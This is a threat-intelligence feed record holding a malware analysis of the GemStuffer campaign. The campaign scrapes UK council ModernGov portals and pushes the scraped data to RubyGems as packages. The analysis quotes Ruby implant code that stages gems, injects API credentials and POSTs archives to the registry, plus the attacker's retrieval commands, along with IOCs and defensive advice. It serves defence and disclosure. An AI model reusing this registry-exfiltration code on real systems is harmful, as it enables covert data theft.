[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOXQICC7vFaPaB9Whd7gvSVDE2nqw_q1qLng-ZHoTVF8":3},{"article":4,"iocs":51},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":28,"category":29,"article_tags":33},"c1818e66-9724-474f-a69a-a4119ca593cc","GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government","gemstuffer-campaign-abuses-rubygems-as-exfiltration-channel-targeting-uk-local-g-30a17f","Socket's threat research team is tracking a suspicious RubyGems campaign we’re calling GemStuffer, involving more than 100 gems that appear to use the RubyGems registry as a data transport mechanism rather than a conventional malware distribution channel. The packages do not appear designed for mass developer compromise. Many have little or no download activity, and the payloads are repetitive, noisy, and unusually self-contained. Instead, the scripts fetch pages from UK local government democratic services portals, package the collected responses into valid .gem archives, and publish those gems back to RubyGems using hardcoded API keys. In some samples, the payload creates a temporary RubyGems credential environment under \u002Ftmp, overrides HOME, builds a gem locally, and pushes it to rubygems.org. Other variants skip the gem CLI entirely and POST the archive directly to the RubyGems API. The campaign focuses on public-facing ModernGov portals used by Lambeth, Wandsworth, and Southwark, collecting council calendar pages, agenda listings, committee links, and related public meeting content. Much of this material appears to be publicly accessible, which makes the campaign harder to classify. It may be registry spam, a proof-of-concept worm, an automated scraper misusing RubyGems as a storage layer, or a deliberate test of package registry abuse. But the mechanics are intentional: repeated gem generation, version increments, hardcoded RubyGems credentials, direct registry pushes, and scraped data embedded inside package archives. GemStuffer also appears to overlap with a broader RubyGems spam-publishing incident. Ruby Central’s Marty Haught said RubyGems was responding to “a coordinated spam-publishing campaign” limited to newly registered accounts publishing junk packages, with no existing packages compromised. He also said RubyGems temporarily disabled new account registration and throttled webhooks while improving spammer detection, adding that existing accounts, packages, and installs were unaffected. RubyGems’ signup page currently confirms that new account registration is temporarily disabled. This campaign fits the same abuse pattern: newly created packages, low download activity, repeated registry publishing, and junk-like package names used to move scraped data into RubyGems-hosted archives. For defenders, low download counts should not obscure the significance of the technique. Package registries are commonly trusted destinations in developer and CI environments, and publishing a package can look indistinguishable from normal release activity. GemStuffer shows how that trust can be repurposed: scrape data, wrap it in a package, push it to a public registry, and retrieve it later with ordinary package tooling. This analysis focuses on representative specimens from the GemStuffer campaign. The samples demonstrate a consistent technique: collect execution context, fetch hardcoded UK council portal URLs, package the HTTP responses into valid .gem archives, and publish those archives to RubyGems using embedded registry credentials. While individual variants use slightly different publishing paths, the abuse pattern is consistent: RubyGems is being used as a public data drop for scraped council content. The package set and related indicators are available in our GemStuffer campaign tracker and embedded below. We’re currently tracking 155 package artifacts (packages and versions) associated with this campaign. Unknown block type \"supplyChainAttackPackages\", specify a component for it in the `components.types` option Attack Chain Summary # [Delivery: (evil|hack|payload|script).rb dropped to target environment] | v [Reconnaissance] Capture Time.now, Dir.pwd, $0 (script path), ARGV | v [UK Gov Sites Scraping] GET https:\u002F\u002F \u002FmgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1 SSL VERIFY_NONE — cert errors suppressed Full response body + HTTP status code captured | v [Malicious Gem Staging] mkdir \u002Ftmp\u002F \u002Flib\u002F binwrite stolen content → lib\u002Fresult.txt Write stub lib\u002Fx.rb, generate x.gemspec | v [Credential Injection] mkdir \u002Ftmp\u002Fgemhome\u002F.gem\u002F Write hardcoded API key → .gem\u002Fcredentials (chmod 0600) Override ENV['HOME'] = '\u002Ftmp\u002Fgemhome' | v [Malicious Gem Push\u002FExfiltration] gem build x.gemspec → - .gem gem push .gem --host https:\u002F\u002Frubygems.org Stolen data now retrievable as a public gem version | v [Attacker retrieves data: gem fetch -v && tar xf *.gem data.tar.gz] Targeted Scraping of UK Council Portals # The gem fetches one of several hardcoded URLs using Ruby's standard Net::HTTP library. It fetches council calendar pages and then actively crawls extracted links for additional document content. The script scrapes the returned HTML for agenda item URLs matching ieList or mgCommittee path patterns, and issues a second round of HTTP requests to follow any ieList links — pulling full agenda item listing pages on top of the raw calendar. ['https:\u002F\u002Fmoderngov.lambeth.gov.uk', 'https:\u002F\u002Fdemocracy.wandsworth.gov.uk', 'https:\u002F\u002Fmoderngov.southwark.gov.uk'].each do |host| # Phase 1: fetch the monthly calendar page cal = get(host+'\u002FmgCalendarMonthView.aspx?GL=1&M=1&Y=2026') out 'Mozilla\u002F5.0'}).body } rescue => e 'ERR '+e.to_s end All three domains are UK local government democratic services portals running ModernGov software. The data exposed at these endpoints typically includes committee meeting calendars, agenda item listings, linked PDF documents, officer contact information, and RSS feed content. While much of this is nominally public, the systematic bulk collection and archival of this data suggests the attacker may be using council portal access as a pivot to demonstrate capability against government infrastructure. Malicious Gem Staging # The implant constructs a minimal but structurally valid .gem archive on the local filesystem, embedding the exfiltrated data as a binary file within the gem's lib\u002F directory tree. The staging directory name is randomized for each run using a Unix epoch timestamp and the current process ID. root=\"\u002Ftmp\u002Flambeth71b#{Time.now.to_i}#{$$}\" FileUtils.mkdir_p(\"#{root}\u002Flib\") File.binwrite(\"#{root}\u002Flib\u002Fresult.txt\", out) # stolen data stored here File.write(\"#{root}\u002Flib\u002Fx.rb\", '#x') # stub required by gem structure gemspec= : Where the key name is rubygems_9feada...[REDACTED]...054a57_key and the value is the token itself. This appears to be a live, functional API credential and not a placeholder. RubyGems API Keys seen across the campaign: rubygems_fb4e1b...[REDACTED]...aec9dd rubygems_9feada...[REDACTED]...054a57 rubygems_d8e875...[REDACTED]...03a533 The use of three distinct API keys is a compartmentalization strategy: if one key is revoked and the corresponding gems yanked, the other two campaign legs continue operating uninterrupted. All three keys should be revoked. The HOME override is process-local and ephemeral: it modifies only the Ruby process's own environment map via ENV['HOME']=, does not call setenv(3) in a way that affects other processes, and disappears when the process exits. This minimizes the forensic footprint to the \u002Ftmp\u002Fgemhome\u002F directory tree and the staging directory. Note: In some samples, credential injection was not included. In these cases the script wrote no \u002Ftmp\u002Fgemhome\u002F.gem\u002Fcredentials file, no ENV['HOME'] override, and no gem push CLI invocation. Instead, the API key is declared as a plaintext top-level constant and inserted directly into a Net::HTTP::Post request that the script constructs and fires itself: KEY = 'rubygems_...[REDACTED]...f220b' u = URI('https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems') r = Net::HTTP::Post.new(u) r['Authorization'] = KEY r['Content-Type'] = 'application\u002Foctet-stream' r.body = File.binread('agenda-sample-result-0.1.1.gem') Net::HTTP.start(u.host, u.port, use_ssl: true) { |h| h.request(r) } By constructing the HTTP request manually, this variant removes every external process dependency from the push path — no gem binary needs to be present on the target machine, no credentials file needs to be written, no HOME needs to be redirected. The entire exfiltration pipeline from fetch to push runs within a single Ruby process using only stdlib. File.binread reads the assembled gem as raw bytes and sets it as the POST body directly, matching the wire format the RubyGems API expects: Content-Type: application\u002Foctet-stream with the raw .gem binary. The API key in the Authorization header is the only authentication material in the request. Malicious Gem Push\u002FExfiltration # With staging complete and credentials injected, the implant shells out to the gem CLI to build and push the package to rubygems.org. This is the exfiltration event itself. Dir.chdir(root) do out2 = `gem build x.gemspec 2>&1` out3 = `gem push lambeth71b-0.0.2.gem --host https:\u002F\u002Frubygems.org 2>&1` File.write(\"#{root}\u002Flog\", out2+\"\\n\"+out3) rescue nil end Dir.chdir(root) scopes the build context so gem build locates the gemspec and lib\u002F tree correctly. The explicit --host pin prevents accidental pushes to a configured private registry and makes the exfiltration endpoint unambiguous. Both CLI invocations capture stdout and stderr via backticks; the combined output is written to #{root}\u002Flog but that write is itself wrapped in rescue nil so even the local log is silently dropped on failure. Network signature of the exfiltration event: When gem push executes, it performs an HTTP POST to https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems with: Content-Type: application\u002Foctet-stream Authorization: header Request body: the raw binary .gem archive (a tar containing metadata.gz and data.tar.gz) The scraped response data is inside data.tar.gz → lib\u002Fresult.txt within that archive. From a network monitoring perspective, this event is a single outbound TLS POST to rubygems.org:443 carrying a binary body. It closely resembles a legitimate developer release workflow. Standard DLP tools inspecting egress for plaintext keywords will see nothing — the data is gzip-compressed inside a tar archive inside a TLS session. Retrieval by the attacker requires only the gem name and version: gem fetch lambeth71b -v 0.0.2 tar xf lambeth71b-0.0.2.gem data.tar.gz tar xzf data.tar.gz .\u002Flib\u002Fresult.txt The exfiltrated content is then available as a structured plaintext file containing the harvested environment metadata and the full council page response body, delimited by ===== URL ... ==ENDURL== markers for programmatic parsing. Recommended Actions # Yank all identified gem packages. Run gem yank -v for each confirmed package name. File a rubygems.org abuse report requesting emergency removal of the full package set — yanked gems may still be cached by mirrors. Audit \u002Ftmp on all potentially affected machines. Search for lambeth71b*, rubydocran_*, \u002Ftmp\u002Fgemhome\u002F, and any directory matching \u002Ftmp\u002F[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+\u002F. Preserve and forensically image any hits before deletion. Identify the delivery vector. This implant does not self-propagate — it was placed on a machine by another mechanism. Audit Bundler configuration files (.bundlerc, Gemfile, config\u002Fapplication.rb), gem post-install hooks, CI pipeline definitions, and dotfile repositories for references to evil.rb, hack.rb, script.rb or payload.rb. Alert on ENV['HOME'] mutation to \u002Ftmp paths in production Ruby processes. Runtime security tooling (Falco, eBPF-based syscall monitors) can detect putenv\u002Fsetenv calls that redirect HOME out of \u002Fhome or \u002Froot into \u002Ftmp. This is an abnormal operation in any legitimate Ruby application. Block outbound gem push in CI pipelines that do not publish gems. If your CI workflows do not legitimately push to rubygems.org, add an egress rule blocking HTTPS POST to rubygems.org\u002Fapi\u002Fv1\u002Fgems. For pipelines that do publish, restrict allowed gem names to an explicit allowlist. # Files payload.rb SHA-256: 239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420 SHA-1: 5f924c0454f1fb6b2299d658c3bb4e75ce3d0b66 MD5: 81c34eea9c853c5ec13a3b3cd4a2228b script.rb SHA-256: c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a SHA-1: db9827ae2c004a4dc6009be2d009477bff5249df MD5: 9211506ae02c9e4e75aeadfebeb4883c evil.rb yardload.rb yard_plugin.rb exploit.rb extconf.rb fetcher.rb Network Indicators hxxps:\u002F\u002Fmoderngov[.]lambeth[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1 hxxps:\u002F\u002Fdemocracy[.]wandsworth[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1 hxxps:\u002F\u002Fmoderngov[.]southwark[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1 RubyGems API Key Indicators Full token values have been redacted. Socket has shared relevant indicators with trusted parties as appropriate. rubygems_9feada...[REDACTED]....054a57 rubygems_fb4e1b...[REDACTED]...6aec9dd rubygems_d8e875...[REDACTED]...503a533 File System Artifacts \u002Ftmp\u002F \u002F \u002Ftmp\u002F \u002Flib\u002Fresult.txt \u002Ftmp\u002F \u002Flib\u002Fx.rb \u002Ftmp\u002F \u002Fx.gemspec \u002Ftmp\u002F \u002F -0.0.2.gem \u002Ftmp\u002F \u002Flog \u002Ftmp\u002Fgemhome\u002F.gem\u002Fcredentials — fabricated credentials file containing hardcoded API key \u002Ftmp\u002Fgemhome\u002F \u002Ftmp\u002Frubydocran_* Malicious Gem Packages Static Gemspec Indicators s.summary='result' s.summary='o' s.authors=['x'] s.authors=['a'] s.authors=['south']","The GemStuffer campaign uses malicious RubyGems packages to scrape and exfiltrate data from UK local government democratic services portals. The packages collect council calendar pages, agenda listings, and committee links, then package the data into valid .gem archives and publish them to RubyGems using hardcoded API keys. This campaign abuses the trust placed in package registries to exfiltrate data.","GemStuffer campaign abuses RubyGems to exfiltrate data from UK local government portals.","Research\u002FSecurity NewsMalicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and PasswordsA malicious NuGet package impersonating Sicoob exfiltrated client IDs, PFX passwords, and banking certificates through Sentry telemetry. By Kirill Boychenko - May 28, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fgemstuffer?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F1aa70f32322be696736ed797cbb5fa1a14015f59-1254x1254.png?w=1000&q=95&fit=max&auto=format","2026-05-13T01:54:45.917+00:00","2026-05-13T16:00:20.094684+00:00",9,[18,21,24,26],{"name":19,"type":20},"RubyGems","technology",{"name":22,"type":23},"Ruby Central","vendor",{"name":25,"type":20},"ModernGov",{"name":27,"type":20},"Net::HTTP","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":28,"icon":30,"name":31,"slug":32},null,"Supply Chain","supply-chain",[34,36,41,46],{"category":35},{"id":28,"icon":30,"name":31,"slug":32},{"category":37},{"id":38,"icon":30,"name":39,"slug":40},"6cbdd207-aaa1-4176-9534-e156b125e917","Nation-state","nation-state",{"category":42},{"id":43,"icon":30,"name":44,"slug":45},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":47},{"id":48,"icon":30,"name":49,"slug":50},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[52,56,60,64,67,70,73,77,79],{"type":53,"value":54,"context":55},"hash_sha256","239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420","SHA-256 hash of payload.rb",{"type":57,"value":58,"context":59},"hash_sha1","5f924c0454f1fb6b2299d658c3bb4e75ce3d0b66","SHA-1 hash of payload.rb",{"type":61,"value":62,"context":63},"hash_md5","81c34eea9c853c5ec13a3b3cd4a2228b","MD5 hash of payload.rb",{"type":53,"value":65,"context":66},"c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a","SHA-256 hash of script.rb",{"type":57,"value":68,"context":69},"db9827ae2c004a4dc6009be2d009477bff5249df","SHA-1 hash of script.rb",{"type":61,"value":71,"context":72},"9211506ae02c9e4e75aeadfebeb4883c","MD5 hash of script.rb",{"type":74,"value":75,"context":76},"url","hxxps:\u002F\u002Fmoderngov[.]lambeth[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1","URL scraped by the malware",{"type":74,"value":78,"context":76},"hxxps:\u002F\u002Fdemocracy[.]wandsworth[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1",{"type":74,"value":80,"context":76},"hxxps:\u002F\u002Fmoderngov[.]southwark[.]gov[.]uk\u002FmgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1"]